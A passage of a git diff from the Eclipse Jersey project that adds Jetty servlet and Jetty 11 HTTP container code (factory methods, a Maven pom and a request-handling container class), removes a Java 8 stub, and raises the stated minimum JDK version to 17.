+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u));
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Map<String, String> initParams)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u)
+ throws Exception {
+ return create(u, ServletContainer.class);
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Map<String, String> initParams)
+ throws Exception {
+ return create(u, ServletContainer.class, initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Class<? extends Servlet> c)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), c);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Class<? extends Servlet> c,
+ Map<String, String> initParams)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), c, initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Class<? extends Servlet> c)
+ throws Exception {
+ return create(u, c, null);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
+ throws Exception {
+ return create(u, c, null, initParams, null);
+ }
+
+ private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
+ Map<String, String> initParams, Map<String, String> contextInitParams)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ String path = u.getPath();
+ if (path == null) {
+ throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null");
+ } else if (path.isEmpty()) {
+ throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present");
+ } else if (path.charAt(0) != '/') {
+ throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'");
+ }
+
+ path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString());
+ WebAppContext context = new WebAppContext();
+ context.setDisplayName("JettyContext");
+ context.setContextPath(path);
+ context.setConfigurations(new Configuration[]{new WebXmlConfiguration()});
+ ServletHolder holder;
+ if (c != null) {
+ holder = context.addServlet(c, "/*");
+ } else {
+ holder = new ServletHolder(servlet);
+ context.addServlet(holder, "/*");
+ }
+
+ if (contextInitParams != null) {
+ for (Map.Entry<String, String> e : contextInitParams.entrySet()) {
+ context.setInitParameter(e.getKey(), e.getValue());
+ }
+ }
+
+ if (initParams != null) {
+ holder.setInitParameters(initParams);
+ }
+
+ Server server = JettyHttpContainerFactory.createServer(u, false);
+ server.setHandler(context);
+ server.start();
+ return server;
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet instance.
+ *
+ * @param u the URI to create the HTTP server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param servlet the servlet instance.
+ * @param initParams the servlet initialization parameters.
+ * @param contextInitParams the servlet context initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
+ throws Exception {
+ if (servlet == null) {
+ throw new IllegalArgumentException("The servlet must not be null");
+ }
+ return create(u, null, servlet, initParams, contextInitParams);
+ }
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
deleted file mode 100644
index 3d87ae8..0000000
--- a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.servlet;
-
-import java.net.URI;
-import java.util.Map;
-
-import jakarta.servlet.Servlet;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-
-/**
- * Jersey {@code Server} stub based on Jetty {@link org.eclipse.jetty.server.Server}.
- * <p>
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- */
-public final class JettyWebContainerFactory {
-
- private JettyWebContainerFactory() {
- }
-
-
- public static Server create(String u)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(String u, Map<String, String> initParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(URI u)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(URI u, Map<String, String> initParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(String u, Class<? extends Servlet> c)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(String u, Class<? extends Servlet> c,
- Map<String, String> initParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(URI u, Class<? extends Servlet> c)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
- Map<String, String> initParams, Map<String, String> contextInitParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams)
- throws Exception {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
index c362bf0..6504f0e 100644
--- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
+++ b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,4 +15,4 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml
new file mode 100644
index 0000000..c9f3bcf
--- /dev/null
+++ b/containers/jetty11-http/pom.xml
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <artifactId>project</artifactId>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+
+ <artifactId>jersey-container-jetty11-http</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-container-jetty11-http</name>
+
+ <description>Jetty 11 Http Container</description>
+
+ <dependencies>
+ <dependency>
+ <groupId>jakarta.inject</groupId>
+ <artifactId>jakarta.inject-api</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.eclipse.jetty.toolchain</groupId>
+ <artifactId>jetty-jakarta-servlet-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ <version>${slf4j.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.servlet</groupId>
+ <artifactId>jakarta.servlet-api</artifactId>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.apache.httpcomponents</groupId>
+ <artifactId>httpclient</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.hamcrest</groupId>
+ <artifactId>hamcrest</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>com.sun.istack</groupId>
+ <artifactId>istack-commons-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <inherited>true</inherited>
+ <configuration>
+ <instructions>
+ <Import-Package>
+ ${jetty.osgi.version},
+ *
+ </Import-Package>
+ </instructions>
+ </configuration>
+ </plugin>
+ </plugins>
+
+ <resources>
+ <resource>
+ <directory>${basedir}/src/main/resources</directory>
+ <filtering>true</filtering>
+ </resource>
+ </resources>
+ </build>
+
+</project>
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
new file mode 100644
index 0000000..dc680a3
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,510 @@
+/*
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Type;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.Principal;
+import java.util.Enumeration;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.servlet.AsyncContext;
+import jakarta.servlet.AsyncEvent;
+import jakarta.servlet.AsyncListener;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.SecurityContext;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+
+import org.glassfish.jersey.internal.MapPropertiesDelegate;
+import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.internal.inject.ReferencingFactory;
+import org.glassfish.jersey.internal.util.ExtendedLogger;
+import org.glassfish.jersey.internal.util.collection.Ref;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.glassfish.jersey.server.ApplicationHandler;
+import org.glassfish.jersey.server.ContainerException;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ContainerResponse;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.internal.ContainerUtils;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.ContainerResponseWriter;
+
+import org.eclipse.jetty.http.HttpStatus;
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Response;
+import org.eclipse.jetty.server.handler.AbstractHandler;
+
+/**
+ * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Libor Kramolis
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainer extends AbstractHandler implements Container {
+
+ private static final ExtendedLogger LOGGER =
+ new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
+
+ private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
+ private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
+
+ private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
+ private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
+
+ /**
+ * Cached value of configuration property
+ * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
+ * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
+ */
+ private boolean configSetStatusOverSendError;
+
+ /**
+ * Referencing factory for Jetty request.
+ */
+ private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
+ @Inject
+ public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * Referencing factory for Jetty response.
+ */
+ private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
+ @Inject
+ public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
+ super(referenceFactory);
+ }
+ }
+
+ /**
+ * An internal binder to enable Jetty HTTP container specific types injection.
+ * This binder allows to inject underlying Jetty HTTP request and response instances.
+ * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
+ * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
+ * {@link jakarta.inject.Provider injection provider}.
+ */
+ private static class JettyBinder extends AbstractBinder {
+
+ @Override
+ protected void configure() {
+ bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
+ .in(RequestScoped.class);
+
+ bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
+ .proxy(false).in(RequestScoped.class);
+ bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
+ .in(RequestScoped.class);
+ }
+ }
+
+ private volatile ApplicationHandler appHandler;
+
+ @Override
+ public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
+ final HttpServletResponse httpServletResponse) throws IOException, ServletException {
+
+ if (request.isHandled()) {
+ return;
+ }
+
+ final Response response = request.getResponse();
+ final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
+ try {
+ LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED());
+ final URI baseUri = getBaseUri(request);
+ final URI requestUri = getRequestUri(request, baseUri);
+ final ContainerRequest requestContext = new ContainerRequest(
+ baseUri,
+ requestUri,
+ request.getMethod(),
+ getSecurityContext(request),
+ new MapPropertiesDelegate(),
+ appHandler.getConfiguration());
+ requestContext.setEntityStream(request.getInputStream());
+ final Enumeration<String> headerNames = request.getHeaderNames();
+ while (headerNames.hasMoreElements()) {
+ final String headerName = headerNames.nextElement();
+ String headerValue = request.getHeader(headerName);
+ requestContext.headers(headerName, headerValue == null ? "" : headerValue);
+ }
+ requestContext.setWriter(responseWriter);
+ requestContext.setRequestScopedInitializer(injectionManager -> {
+ injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
+ injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
+ });
+
+ // Mark the request as handled before generating the body of the response
+ request.setHandled(true);
+ appHandler.handle(requestContext);
+ } catch (URISyntaxException e) {
+ setResponseForInvalidUri(response, e);
+ } catch (final Exception ex) {
+ throw new RuntimeException(ex);
+ }
+ }
+
+ private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
+ final String serverAddress = getServerAddress(baseUri);
+ String uri = request.getRequestURI();
+
+ final String queryString = request.getQueryString();
+ if (queryString != null) {
+ uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
+ }
+
+ return new URI(serverAddress + uri);
+ }
+
+ private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
+ LOGGER.log(Level.FINER, "Error while processing request.", throwable);
+
+ if (configSetStatusOverSendError) {
+ response.reset();
+ //noinspection deprecation
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
+ } else {
+ response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+ }
+ }
+
+ private String getServerAddress(URI baseUri) {
+ String serverAddress = baseUri.toString();
+ if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
+ return serverAddress.substring(0, serverAddress.length() - 1);
+ }
+ return serverAddress;
+ }
+
+ private SecurityContext getSecurityContext(final Request request) {
+ return new SecurityContext() {
+
+ @Override
+ public boolean isUserInRole(final String role) {
+ return request.isUserInRole(role);
+ }
+
+ @Override
+ public boolean isSecure() {
+ return request.isSecure();
+ }
+
+ @Override
+ public Principal getUserPrincipal() {
+ return request.getUserPrincipal();
+ }
+
+ @Override
+ public String getAuthenticationScheme() {
+ return request.getAuthType();
+ }
+ };
+ }
+
+
+ private URI getBaseUri(final Request request) throws URISyntaxException {
+ return new URI(request.getScheme(), null, request.getServerName(),
+ request.getServerPort(), getBasePath(request), null, null);
+ }
+
+ private String getBasePath(final Request request) {
+ final String contextPath = request.getContextPath();
+
+ if (contextPath == null || contextPath.isEmpty()) {
+ return "/";
+ } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
+ return contextPath + "/";
+ } else {
+ return contextPath;
+ }
+ }
+
+ private static final class ResponseWriter implements ContainerResponseWriter {
+
+ private final Response response;
+ private final AsyncContext context;
+ private final boolean configSetStatusOverSendError;
+
+ ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
+ this.response = response;
+ this.context = request.startAsync();
+ this.configSetStatusOverSendError = configSetStatusOverSendError;
+ }
+
+ @Override
+ public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
+ throws ContainerException {
+
+ final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
+
+ final int code = statusInfo.getStatusCode();
+ final String reason = statusInfo.getReasonPhrase() == null
+ ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
+
+ response.setStatusWithReason(code, reason);
+
+ if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
+ response.setContentLength((int) contentLength);
+ }
+ for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
+ for (final String value : e.getValue()) {
+ response.addHeader(e.getKey(), value);
+ }
+ }
+
+ try {
+ return response.getOutputStream();
+ } catch (final IOException ioe) {
+ throw new ContainerException("Error during writing out the response headers.", ioe);
+ }
+ }
+
+ @Override
+ public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
+ try {
+ if (timeOut > 0) {
+ final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
+ context.setTimeout(timeoutMillis);
+ }
+ context.addListener(new AsyncListener() {
+ @Override
+ public void onComplete(AsyncEvent asyncEvent) throws IOException {
+
+ }
+
+ @Override
+ public void onTimeout(AsyncEvent asyncEvent) throws IOException {
+ if (timeoutHandler != null) {
+ timeoutHandler.onTimeout(ResponseWriter.this);
+ }
+ }
+
+ @Override
+ public void onError(AsyncEvent asyncEvent) throws IOException {
+
+ }
+
+ @Override
+ public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
+
+ }
+ });
+ return true;
+ } catch (final Exception ex) {
+ return false;
+ }
+ }
+
+ @Override
+ public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
+ if (timeOut > 0) {
+ final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
+ context.setTimeout(timeoutMillis);
+ }
+ }
+
+ @Override
+ public void commit() {
+ try {
+ closeOutput(response);
+ } catch (final IOException e) {
+ LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
+ } finally {
+ if (context.getRequest().isAsyncStarted()) {
+ context.complete();
+ }
+ LOGGER.log(Level.FINEST, "commit() called");
+ }
+ }
+
+ private void closeOutput(Response response) throws IOException {
+ try {
+ response.completeOutput();
+ } catch (final IOException e) {
+ throw e;
+ } catch (NoSuchMethodError e) {
+ // try older Jetty Response#closeOutput
+ try {
+ Method method = response.getClass().getMethod("closeOutput");
+ method.invoke(response);
+ } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
+ throw new IOException(ex);
+ }
+ }
+ }
+
+ @Override
+ public void failure(final Throwable error) {
+ try {
+ if (!response.isCommitted()) {
+ try {
+ if (configSetStatusOverSendError) {
+ response.reset();
+ //noinspection deprecation
+ response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
+ } else {
+ response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
+ }
+ } catch (final IllegalStateException ex) {
+ // a race condition externally committing the response can still occur...
+ LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
+ } catch (final IOException ex) {
+ throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
+ "Request failed."), ex);
+ }
+ }
+ } finally {
+ LOGGER.log(Level.FINEST, "failure(...) called");
+ commit();
+ rethrow(error);
+ }
+ }
+
+ @Override
+ public boolean enableResponseBuffering() {
+ return false;
+ }
+
+ /**
+ * Rethrow the original exception as required by JAX-RS, 3.3.4.
+ *
+ * @param error throwable to be re-thrown
+ */
+ private void rethrow(final Throwable error) {
+ if (error instanceof RuntimeException) {
+ throw (RuntimeException) error;
+ } else {
+ throw new ContainerException(error);
+ }
+ }
+
+ }
+
+ @Override
+ public ResourceConfig getConfiguration() {
+ return appHandler.getConfiguration();
+ }
+
+ @Override
+ public void reload() {
+ reload(new ResourceConfig(getConfiguration()));
+ }
+
+ @Override
+ public void reload(final ResourceConfig configuration) {
+ appHandler.onShutdown(this);
+
+ appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
+ appHandler.onReload(this);
+ appHandler.onStartup(this);
+ cacheConfigSetStatusOverSendError();
+ }
+
+ @Override
+ public ApplicationHandler getApplicationHandler() {
+ return appHandler;
+ }
+
+ /**
+ * Inform this container that the server has been started.
+ * This method must be implicitly called after the server containing this container is started.
+ *
+ * @throws java.lang.Exception if a problem occurred during server startup.
+ */
+ @Override
+ protected void doStart() throws Exception {
+ super.doStart();
+ appHandler.onStartup(this);
+ }
+
+ /**
+ * Inform this container that the server is being stopped.
+ * This method must be implicitly called before the server containing this container is stopped.
+ *
+ * @throws java.lang.Exception if a problem occurred during server shutdown.
+ */
+ @Override
+ public void doStop() throws Exception {
+ super.doStop();
+ appHandler.onShutdown(this);
+ appHandler = null;
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ */
+ JettyHttpContainer(final Application application, final Object parentContext) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Application application) {
+ this.appHandler = new ApplicationHandler(application, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * Create a new Jetty HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
+ */
+ JettyHttpContainer(final Class<? extends Application> applicationClass) {
+ this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
+
+ cacheConfigSetStatusOverSendError();
+ }
+
+ /**
+ * The method reads and caches value of configuration property
+ * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+ */
+ private void cacheConfigSetStatusOverSendError() {
